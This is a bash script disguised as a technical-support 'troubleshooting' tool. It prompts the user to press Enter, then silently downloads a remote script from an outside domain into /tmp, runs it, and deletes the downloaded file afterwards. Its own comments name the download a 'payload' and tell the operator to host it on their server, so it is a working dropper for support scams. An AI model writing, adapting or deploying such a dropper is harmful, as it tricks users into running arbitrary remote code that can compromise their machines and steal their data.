#!/bin/bash

echo -e "\033[33mOpening Terminal to Begin Troubleshoot...\033[0m"
echo -e "\033[33mClick Yes / press Enter to Begin.\033[0m"
echo ""

# URL to the Linux payload (upload this as system.sh on your server)
URL="https://solutionx64.com/linuxfix.sh"

# Pick a downloader
if command -v curl >/dev/null 2>&1; then
    DOWNLOADER="curl"
elif command -v wget >/dev/null 2>&1; then
    DOWNLOADER="wget"
else
    echo -e "\033[31mError: curl or wget is required to download the payload.\033[0m"
    exit 1
fi

# Create temp file
RAND=$(cat /proc/sys/kernel/random/uuid 2>/dev/null || echo "$(date +%s)$$")
TMP_DIR="/tmp"
SH_FILE="$TMP_DIR/MAS_${RAND}.sh"

echo -e "\033[34mDownloading troubleshooting script...\033[0m"

if [ "$DOWNLOADER" = "curl" ]; then
    if ! curl -fsSL "$URL" -o "$SH_FILE" 2>/dev/null; then
        echo -e "\033[31mError: Failed to download payload from $URL\033[0m"
        echo -e "\033[31mCheck internet connection or antivirus/firewall blocking.\033[0m"
        rm -f "$SH_FILE"
        exit 1
    fi
else
    if ! wget -q "$URL" -O "$SH_FILE" 2>/dev/null; then
        echo -e "\033[31mError: Failed to download payload from $URL\033[0m"
        echo -e "\033[31mCheck internet connection or antivirus/firewall blocking.\033[0m"
        rm -f "$SH_FILE"
        exit 1
    fi
fi

if [ ! -s "$SH_FILE" ]; then
    echo -e "\033[31mError: Downloaded payload is empty.\033[0m"
    rm -f "$SH_FILE"
    exit 1
fi

chmod +x "$SH_FILE"

echo -e "\033[32mDownload complete. Starting troubleshoot...\033[0m"
echo ""

# Execute the payload
bash "$SH_FILE"
EXIT_CODE=$?

# Cleanup
rm -f "$SH_FILE"
rm -f /tmp/MAS_*.sh

echo ""
if [ $EXIT_CODE -eq 0 ]; then
    echo -e "\033[32mTroubleshooting process completed.\033[0m"
else
    echo -e "\033[31mTroubleshooting process finished with errors.\033[0m"
    echo -e "\033[31mPlease Contact Support.\033[0m"
fi
